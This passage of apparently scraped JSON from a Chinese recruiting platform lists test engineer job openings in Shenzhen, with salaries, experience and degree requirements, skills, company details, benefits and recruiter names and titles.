"100-499人", "welfareList": [ "五险一金", "定期体检", "零食下午茶", "节日福利", "股票期权", "员工旅游", "年终奖", "带薪年假", "特别红利", "补充医疗保险" ], "industry": 100001, "contact": false }, { "securityId": "f1yI8IHGLMBZK-81wKAgkd4BMgKsEufTqmTPo7Thz3f-DvteGjym5jRR_gLopvNInBT4Osox_1xWqR1rVkY-1y6tjCOQl0AlTdZgxq6VFPT4Y7wg8rO8mHYdcOj0tkKgPYMkgKbb", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20190905/ec04a7052f8d8757abf0d716b7d92bf3e393783a0ccf4745266d00bb4ec917d2_s.png", "bossCert": 3, "encryptBossId": "005ac8ae9b1e96600HBz3Nm8GFo~", "bossName": "王少康", "bossTitle": "测试工程师", "goldHunter": 0, "bossOnline": false, "encryptJobId": "81b2c99e2a817d491XR-3tS9FVtW", "expectId": 92940501, "jobName": "测试工程师", "lid": "9vXIiY4ztcW.search.10", "salaryDesc": "10-15K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "Linux", "硬件测试", "性能测试" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "龙岗区", "businessDistrict": "龙岗宝荷", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 10, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1681971662000, "encryptBrandId": "f75ca089f865a17f1HZ409W8", "brandName": "比亚迪", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/banner/2342ca9939213292df85248a345dc867cfcd208495d565ef66e7dff9f98764da.jpg", "brandStageName": "已上市", "brandIndustry": "汽车生产", "brandScaleName": "10000人以上", "welfareList": [ "住房补贴", "通讯补贴", "餐补", "购车补贴", "年终奖", "补充医疗保险", "带薪年假", "加班补助", "五险一金", "股票期权", "免费班车", "定期体检", "节日福利", "医社保" ], "industry": 100801, "contact": false }, { "securityId": "LDkLMATjZP-3g-f1lv3m6_5EI48wghBuLxYPhsjJUT2iOLN8UwjLMzFR2qcoxtL384ahhA0Xq5vQgYjABZnR7BB-wfe9m-3EJQ3o6JL1j261iCOdaVkozHONTKdsUQMRAQz6gQpzTm8~", "bossAvatar": "https://img.bosszhipin.com/boss/avatar/avatar_13.png", "bossCert": 3, "encryptBossId": "04f4c7c9600291661nVy09-7ElJR", "bossName": "高润东", "bossTitle": "hr", "goldHunter": 0, "bossOnline": false, "encryptJobId": "f1fbc81d225cf1441HR-2965FFJX", "expectId": 92940501, "jobName": "测试工程师", "lid": "9vXIiY4ztcW.search.11", "salaryDesc": "15-25K·14薪", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "嵌入式测试", "功能测试", "性能测试" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "宝安区", "businessDistrict": "宝安中心区", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 11, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1692180007000, "encryptBrandId": "652af170b89181ee0HV72N20GA~~", "brandName": "影石Insta360", "brandLogo": "https://img.bosszhipin.com/beijin/upload/com/workfeel/20210824/7bf6f160950405e927416f9979bdcca3b3264a2c1bb4a7c08225e8c5d5c817e9b91dad2270ad4f80.jpg", "brandStageName": "D轮及以上", "brandIndustry": "智能硬件", "brandScaleName": "1000-9999人", "welfareList": [ "节日福利", "零食下午茶", "定期体检", "五险一金", "带薪年假", "年终奖" ], "industry": 100018, "contact": false }, { "securityId": "MWjkxyyFFuKgK-31dm0Hxev-yGeNfdZGttXW93BrX4qcSbhN9Dh7b0IyuCFH9HBPmkOfDyxdCWlQ8cVZWjYqr52GGq8Vx0TstAhVHDascewhgUhrj_eVWksBNIDopeTw609xwx4k", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20220324/607f1f3d68754fd0b3d6b9e27049bb1df764fba14ab3f0b51f745ec235d9ce12983a25b92b7bcfd7_s.jpg", "bossCert": 3, "encryptBossId": "abdaef70c640a6620nN53Ny6FVs~", "bossName": "董先生", "bossTitle": "HR", "goldHunter": 0, "bossOnline": false, "encryptJobId": "08ad89e34d678fb11XN729y_E1dV", "expectId": 92940501, "jobName": "功能测试", "lid": "9vXIiY4ztcW.search.12", "salaryDesc": "12-16K·13薪", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "功能测试", "MySQL", "基金", "证券" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "福田区", "businessDistrict": "香蜜湖", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 12, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1690937759000, "encryptBrandId": "dfc25dc7fa0234bd1Xx60tS6", "brandName": "信必优Symbio", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/banner/36fdf1284acfc4f6058f2b46f708762ecfcd208495d565ef66e7dff9f98764da.jpg", "brandStageName": "不需要融资", "brandIndustry": "互联网", "brandScaleName": "500-999人", "welfareList": [ "零食下午茶", "五险一金", "补充医疗保险", "带薪年假", "团建聚餐", "节日福利", "定期体检", "员工旅游" ], "industry": 100020, "contact": false }, { "securityId": "nO_Zm0MHEfWwX-T1u18u1GuwMzhim5MkV-YAudOq10LOKaN4oMuKeqp5lJ32f7Bqv1hT0Teiw8ltwph1tBF5CjI_QigMY5oyw1xv5PMbPRLrRFffII0f_Y32kBI0-En5Q4Cw", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20201214/41369b934a4d8f8f33f173461a0e88cb1380fc5ee3ac780453aed9ded05b7e97_s.png", "bossCert": 3, "encryptBossId": "94311e525e3047220nR929y-GFs~", "bossName": "臧女士", "bossTitle": "hr", "goldHunter": 0, "bossOnline": false, "encryptJobId": "1366f67ff7773a131nd73d20EVdY", "expectId": 92940501, "jobName": "测试工程师", "lid": "9vXIiY4ztcW.search.13", "salaryDesc": "9-11K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "系统测试" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 13, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1681914958000, "encryptBrandId": "2e64a887a110ea9f1nRz", "brandName": "腾讯", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/bar/20200430/4204e9c9f200b00b77fb59d093acd281be1bd4a3bd2a63f070bdbdada9aad826.jpg", "brandStageName": "不需要融资", "brandIndustry": "互联网", "brandScaleName": "10000人以上", "welfareList": [ "餐补", "补充医疗保险", "绩效奖金", "有无线网", "定期体检", "公仔周边活动", "股票期权", "住房补贴", "零食下午茶", "免费班车", "意外险", "节日福利", "年终奖", "交通补助", "员工旅游", "包吃", "五险一金", "带薪年假", "免费健身房", "免费早晚餐" ], "industry": 100020, "contact": false }, { "securityId": "bN6CQV_yIL3ed-b1krLw_K3xFuF3P6AkbnqedU8q1Qj486-IUfTDsZpjkftqvjPJH8VA1PMfd5PGC9Ey9xV_RGJRCG6lUfQjY_RvJG9eF4G_jPcNp2C0H4ZFQhqxYuu085qgUnVdrboIx5VGnA-jYUy7lTFthtT8XN1vS6115v_BqA~~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20220310/607f1f3d68754fd0d64a4b4e96203c471ae83e28fcdf129e28cde3f84b80857b2c12ec05c1ba1335_s.jpg", "bossCert": 3, "encryptBossId": "7b0b8d008f6e2ddb0nRz39S7FFVY", "bossName": "陈欢欢", "bossTitle": "招聘主管", "goldHunter": 0, "bossOnline": true, "encryptJobId": "e001b724cf080aab1HR-29y0FFdQ", "expectId": 92940501, "jobName": "测试工程师(双休+顺丰+现场面试)", "lid": "9vXIiY4ztcW.search.14", "salaryDesc": "11-13K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "功能测试", "自动化测试", "MySQL", "LoadRunner", "计算机相关专业", "测试工作经验", "自动化测试经验", "CRM" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 14, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1692177461000, "encryptBrandId": "95b4b47ef9141c671nd52ty_", "brandName": "法本", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/banner/32931505697e3fbef594fb9ca3fd94a5cfcd208495d565ef66e7dff9f98764da.jpg", "brandStageName": "已上市", "brandIndustry": "计算机软件", "brandScaleName": "10000人以上", "welfareList": [ "企业文化", "节日福利", "全勤奖", "加班补助", "年终奖", "定期体检", "带薪年假", "零食下午茶", "员工旅游", "五险一金" ], "industry": 100021, "contact": false }, { "securityId": "5EpsoQNgvDVJc-C1U1uqLKxMwIZ74W8Eaz6Pdlzvt8C-zxq1WeH0xYWPyQdgXeNW_VJhh4_ciDUpAQxhZHkM2p-_O7Z0En9kdO-QtzcPJGieBQFYSiUJbT3IhFT5zXFyPUnWWYpP", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20210525/45521845b183eb0ea19c5bd58254230cacf321989fe508f7a59dd536b62309f0_s.jpg", "bossCert": 3, "encryptBossId": "60bcfc8ef32ce8f50Xx439W7EFQ~", "bossName": "杜欢歌", "bossTitle": "HR", "goldHunter": 0, "bossOnline": false, "encryptJobId": "d1fe71279630be9d1HR53tS_F1RW", "expectId": 92940501, "jobName": "助理软件测试工程师(深圳)", "lid": "9vXIiY4ztcW.search.15", "salaryDesc": "10-14K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "消费金融", "消费贷款", "助贷项目" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "宝安区", "businessDistrict": "新安", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 15, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1692153943000, "encryptBrandId": "71bcdc1198f6c83703J70tq8", "brandName": "武汉佰钧成技术", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/banner/39330dfb0bc7d6cad2158722dd7d37fecfcd208495d565ef66e7dff9f98764da.jpg", "brandStageName": "不需要融资", "brandIndustry": "计算机软件", "brandScaleName": "1000-9999人", "welfareList": [ "节日福利", "补充医疗保险", "定期体检", "五险一金", "带薪年假" ], "industry": 100021, "contact": false }, { "securityId": "BrOACgLEUnmqJ-h1N2eGybwO_yyDmosMnkYKgbaE3xMUvo5cQNvMRQlzUoEAOh89g12yh6eIV1mnun8yKLAhXB5xuQ_immFotQrp1dFfB2-4qV-DR9cSYn1vA05Z0WNXRGVb2QTfAQ~~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20230706/607f1f3d68754fd0a60cd8c58f697aae02962c6b3bc51295441ce640ef889e7f08f99294e697b008_s.jpg", "bossCert": 3, "encryptBossId": "4e0891eaa51294ed0nR73ty1FFZZ", "bossName": "王女士", "bossTitle": "招聘HR", "goldHunter": 0, "bossOnline": false, "encryptJobId": "76560ad24f802f1d1X1z2t69GVpV", "expectId": 92940501, "jobName": "软件测试(在扩招啦,跨境电商)", "lid": "9vXIiY4ztcW.search.16", "salaryDesc": "11-16K·13薪", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "功能测试", "计算机相关专业" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "西丽", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 16, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1692180553000, "encryptBrandId": "e715aa1be4283fc21nd62tq5", "brandName": "博彦科技", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/banner/eb7c416aa1c228b43cbae35dbf1e6990cfcd208495d565ef66e7dff9f98764da.jpg", "brandStageName": "已上市", "brandIndustry": "计算机软件", "brandScaleName": "10000人以上", "welfareList": [ "年终奖", "定期体检", "免费班车", "五险一金", "节日福利", "带薪年假" ], "industry": 100021, "contact": false }, { "securityId": "e9polhFzmfYVp-h1T_lWMsDqxt65DKqKZAXDYIT7rTZbSqS3mvFzdeZvNRoXnmt60VHh2ebkK9hhH9AGAa7xI3cFGBn7GsiAQCzApH3ZGNVYuQvxqUAhdkkOvG_Z733cSQ8exzcnsvUTTyec8U-NXBDpBTIZyBv9MW5tovwdwA~~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/tmp/20210715/9298d14a0f95e1acc14b23dd6cc809c8ba9e20a215a1d16577fb6892283e306c_s.jpg", "bossCert": 3, "encryptBossId": "3283ccbaf71f9d841XRz0tm4E1I~", "bossName": "文清燕", "bossTitle": "招聘主管", "goldHunter": 0, "bossOnline": true, "encryptJobId": "b77f240ea11c95e91HR63Ny7ElNW", "expectId": 92940501, "jobName": "软件测试", "lid": "9vXIiY4ztcW.search.17", "salaryDesc": "10-15K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "MySQL", "IPM", "项目质量交付" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 17, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1692150606000, "encryptBrandId": "2d208a8834e4a58203d43Q~~", "brandName": "中软国际", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/banner/5ceba8561d592ff6849e8a0525aacbfecfcd208495d565ef66e7dff9f98764da.jpg", "brandStageName": "已上市", "brandIndustry": "计算机软件", "brandScaleName": "10000人以上", "welfareList": [ "五险一金", "节日福利", "定期体检", "免费班车", "加班补助", "年终奖", "带薪年假", "餐补", "员工旅游", "零食下午茶" ], "industry": 100021, "contact": false }, { "securityId": "-7Ftn1dMcQKz2-C1sFmC989sfTaC4REVbifgWBjASPj_lgJ9jqJ-Nct-UY0X8yZ1pKIORHpdyTr66mpxe5F1Aii9ihq0C38IpKVEL8VMYNRIKmHifj-Ne-Deaz0y4N_wBWCpA8OoEw~~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20230421/607f1f3d68754fd0573075768bcdef86f5ae301975d37790927979ad2b574b5aa002abcd8191164a_s.jpg", "bossCert": 3, "encryptBossId": "5c0d9d6bd9cac4ea0nx72d2-GVo~", "bossName": "郑女士", "bossTitle": "招聘专员", "goldHunter": 0, "bossOnline": false, "encryptJobId": "e000bb2a4b27c0c31HR53t25GFpT", "expectId": 92940501, "jobName": "可靠性测试工程师", "lid": "9vXIiY4ztcW.search.18", "salaryDesc": "10-15K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "功能测试", "性能测试", "高低温", "静电", "盐雾" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "西丽", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 18, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1692092543000, "encryptBrandId": "11d851016d01abc21HB53d69Fg~~", "brandName": "凯迪仕", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/banner/3c7807360b16adfb3d2a5d36f203121fcfcd208495d565ef66e7dff9f98764da.jpg", "brandStageName": "C轮", "brandIndustry": "智能硬件", "brandScaleName": "1000-9999人", "welfareList": [ "节日福利", "定期体检", "全勤奖", "五险一金", "零食下午茶", "生日会", "带薪年假", "补充医疗保险", "年终奖", "员工旅游", "加班补助" ], "industry": 100018, "contact": false }, { "securityId": "040kmnXlZi_2d-21MkKNKJZP6NdGB23rgEgWW3jlNuXh9aTT1QEP2jCfrPXhjsVuRMxPE_Qhvfv8_cQ5FD7UYoYNXRTR0bfcJ-kDB7vEAd0PEROAerCvssZ7G__iMxs5MYaZaUw2", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20210525/4ecfa8cad7589682ce7bbae68467f539d6980aa419738c367261ddb7e166e1d9_s.jpg", "bossCert": 3, "encryptBossId": "1a79d5b602b3efae0XJz2NW6F1E~", "bossName": "蒋女士", "bossTitle": "HR", "goldHunter": 0, "bossOnline": false, "encryptJobId": "695dd81bc30eb1961XZ-29-5FFFQ", "expectId": 92940501, "jobName": "测试工程师(全日制大专及以上学历即可)", "lid": "9vXIiY4ztcW.search.19", "salaryDesc": "10-12K·13薪", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "功能测试", "性能测试", "测试工作经验", "银行存款项目经验" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 19, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1692060321000, "encryptBrandId": "d7c526397c62e2853n152t-0", "brandName": "雁联技术", "brandLogo": "https://img.bosszhipin.com/beijin/upload/com/workfeel/20220304/7bf6f160950405e96d298ffa2fe9b59a984191e8eb681ab92844529803ecb831c92df288e38851d6.jpg", "brandStageName": "不需要融资", "brandIndustry": "计算机软件", "brandScaleName": "1000-9999人", "welfareList": [ "加班补助", "零食下午茶", "免费班车", "节日福利", "年终奖" ], "industry": 100021, "contact": false }, { "securityId": "J9EUcY6tivDil-j1IgrvXRMjKH-wv7Bh-5ZsfpPV81V7bRmZQLSGfyV4CHTC0o76DmlQupwowfhS9hfle7Px366vx3tRXejFdx4M0Btiz6edvmP9BQs38C3cmVfnAoURVHpVx_33sg0~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20230720/607f1f3d68754fd0f566eecd10feca486d6d973f56e74ca685c901c0bcc2a232ebeaeaf8750e0d2d_s.jpg", "bossCert": 3, "encryptBossId": "cf15b2f99117b9d51nZ539u6EFFR", "bossName": "韩秀秀", "bossTitle": "HRBP", "goldHunter": 0, "bossOnline": false, "encryptJobId": "53d5f1a4a83cd8a21XFz09S7F1JY", "expectId": 92940501, "jobName": "软件测试工程师", "lid": "9vXIiY4ztcW.search.20", "salaryDesc": "10-15K·13薪", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "无人机" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "西丽", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 20, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1690784859000, "encryptBrandId": "95cd9f2f2a7485a91HN-2tW1GA~~", "brandName": "深海创新", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/chatphoto/20190306/b7759d991b0eaa5eac9b42ee265605b860bd874a607a37689ec32c3f6297fda9_s.jpg", "brandStageName": "未融资", "brandIndustry": "贸易/进出口", "brandScaleName": "100-499人", "welfareList": [ "五险一金", "全勤奖", "带薪年假", "交通补助", "员工旅游", "年终奖", "节日福利", "零食下午茶" ], "industry": 100504, "contact": false }, { "securityId": "LKF4H6_ZYOVh2-_1JbSnl0LgzOyMzVEvDnPDgL9SQu29hW0kema6Vq1E3TqXbrnAzYeSb2qIR4VqxyCLyCDSM_Gffcu_36UhGZ58nRGHxuw6k4daXXfBPdkTlm0r18yYGs9IuCRibDY~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20230220/607f1f3d68754fd03a7c59bf76e2379b95d5baf07becd4d27b59447b42fc9ee3f925c6c2aad7c960_s.png", "bossCert": 3, "encryptBossId": "a3c73db370a6cbe11HR70tq-FFo~", "bossName": "彭女士", "bossTitle": "HR", "goldHunter": 0, "bossOnline": false, "encryptJobId": "d4ed1721a2e0cdd11X183NW4E1ZX", "expectId": 92940501, "jobName": "中级测试工程师", "lid": "9vXIiY4ztcW.search.21", "salaryDesc": "12-17K·13薪", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "功能测试", "计算机相关专业" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 21, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1689298622000, "encryptBrandId": "dd474df9ec1b26cb1Xd90ty6GVM~", "brandName": "优视宝", "brandLogo": "https://img.bosszhipin.com/beijin/icon/894ce6fa7e58d64d57e7f22d2f3a9d18afa7fcceaa24b8ea28f56f1bb14732c0.png", "brandStageName": "不需要融资", "brandIndustry": "计算机软件", "brandScaleName": "100-499人", "welfareList": [ "带薪年假", "加班补助", "定期体检", "法定节假日三薪", "团建聚餐", "五险一金", "节日福利", "零食下午茶", "有无线网", "生日福利", "员工旅游", "年终奖", "节假日加班费", "绩效奖金", "补充医疗保险" ], "industry": 100021, "contact": false }, { "securityId": "BvVpafTjyFJAR-p1yUuYMed6Ze0gE5HIv1MJHIS60O9UKdammMc7Lh_9CUBSQQ2wTKaoLGP8xpRiwHbIzJLNqWzDTnTAfFZuETDwWiByzfPc7orWDzhlhRWwcs9f8DV35CkbxSyvDub4", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20230308/607f1f3d68754fd0a0ff8c3329bddadc44cf67f3b21d889cc6b3eb34e13a17844390bf281eaad15b_s.jpg", "bossCert": 3, "encryptBossId": "2f05aabb1d4d0b540nF52t66F1tS", "bossName": "单蕾", "bossTitle": "人事", "goldHunter": 0, "bossOnline": false, "encryptJobId": "9bb86df6fb294fad1HR42927GFZS", "expectId": 92940501, "jobName": "测试工程师", "lid": "9vXIiY4ztcW.search.22", "salaryDesc": "11-12K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "数据测试" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 22, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1691548203000, "encryptBrandId": "d3fbd9b79cdf00971nBy2dm4GVc~", "brandName": "平熙信息", "brandLogo": "https://img.bosszhipin.com/beijin/upload/com/workfeel/20230614/7bf6f160950405e91e3bc80c7c5d816859a5214c5c2dc15e5b98ad8746cf49237bfc2567bb992db3.png", "brandStageName": "未融资", "brandIndustry": "计算机软件", "brandScaleName": "100-499人", "welfareList": [], "industry": 100021, "contact": false }, { "securityId": "NR-xdi7PhA-as-X1xpxy2OjDWq2moojW1Leze4OLvYOu33h2N7DNekRvzT4oFJXEqfjWFYgu_2gCQMod8_rbsMgjCDNMrPa-jmMtyb94vqz7wzphCelFLiUXiBregTsuIAvy0FoLuPp5", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20230816/607f1f3d68754fd0f5a35d5efc4e994d5a3e66a1ffc876848d285bb681b221ab64d50de4da95e763_s.jpg.webp", "bossCert": 3, "encryptBossId": "5f5de359dec537dc0XV_2ty7GFFR", "bossName": "白云", "bossTitle": "创始人兼总经理", "goldHunter": 0, "bossOnline": false, "encryptJobId": "ab694ff358bfa8531HR509S8GFRR", "expectId": 92940501, "jobName": "测试工程师", "lid": "9vXIiY4ztcW.search.23", "salaryDesc": "15-20K·13薪", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "功能测试", "性能测试", "压力测试", "Java", "C++", "测试工作经验" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "前海", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 23, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1692156719000, "encryptBrandId": "9e27af2a46ba0dad1X1_3ty4FVs~", "brandName": "云创数安", "brandLogo": "https://img.bosszhipin.com/beijin/icon/894ce6fa7e58d64d57e7f22d2f3a9d18afa7fcceaa24b8ea28f56f1bb14732c0.png", "brandStageName": "", "brandIndustry": "信息安全", "brandScaleName": "0-20人", "welfareList": [], "industry": 100016, "contact": false }, { "securityId": "BWbhrw27bI2Uu-c1VOrt2EG8I7vFqKvRzoqyYc-d3l-2pv8IVcshHj5Mn-LbzfROLGckTXiUfknnRQaGcSKPN5wivhI-jpl1-6qVVZpShXXvWkzh-34x-u9j-uiXORi-Wu9JWx1AsQ~~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20210525/faa6c604984f58c9504cf7a465b7dd18c961f05b144cdb0c60519b93032b21a4_s.jpg", "bossCert": 3, "encryptBossId": "77f0c06141285cf903x42t--E1I~", "bossName": "陈丹芬", "bossTitle": "招聘者", "goldHunter": 0, "bossOnline": false, "encryptJobId": "4671f5115b562b141XB40tu8EVZW", "expectId": 92940501, "jobName": "测试工程师/可靠性测试工程师", "lid": "9vXIiY4ztcW.search.24", "salaryDesc": "11-18K·13薪", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "性能测试", "制造业", "可靠性测试", "储能保护板" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "龙岗区", "businessDistrict": "平湖", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 24, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1681962659000, "encryptBrandId": "26a81955d9bc3abb0HBy2969EQ~~", "brandName": "裕铭力科", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/chatphoto/20210408/ab517625d6f2561de49c5e55d1c4c72fc961f05b144cdb0c60519b93032b21a4_s.jpg", "brandStageName": "不需要融资", "brandIndustry": "仪器仪表/工业自动化", "brandScaleName": "100-499人", "welfareList": [ "带薪年假", "年终奖", "包住", "五险一金", "加班补助", "全勤奖", "员工旅游", "节日福利", "餐补" ], "industry": 100902, "contact": false }, { "securityId": "GnRP7wmRNTXqO-g1kEN0YeedNMDgnEZ8FR6v1OrIwJezzPq4psKHYRU3LGWzx3MTe6_6UbKIfZPMDI9k1vJirzQvmfKqDJrZRQPrZbSeGE_pgeLLKi26NSvCt-hkYv8XYnpqBJPQYvdR", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20230327/607f1f3d68754fd00c764de6b7c7e8ecd023785cd249ef75f5dadaa176d350c8bb5a54619d5ab32c_s.png", "bossCert": 3, "encryptBossId": "00cf2ae5bbe1208a0nN939i9ElJQ", "bossName": "于国红", "bossTitle": "招聘专员", "goldHunter": 0, "bossOnline": false, "encryptJobId": "3c119bf17d3d46d81HR7396-ElpQ", "expectId": 92940501, "jobName": "功能测试工程师", "lid": "9vXIiY4ztcW.search.25", "salaryDesc": "13-17K·13薪", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "功能测试", "服务器" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 25, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1691391063000, "encryptBrandId": "199dcea741aff2141nZ439y5FVE~", "brandName": "国鑫", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/chatphoto/20210120/ef9447d03d518344a471985dcb60cbfa8248e3e38a8b014ec1b7b8f2448f807b_s.jpg", "brandStageName": "未融资", "brandIndustry": "计算机硬件", "brandScaleName": 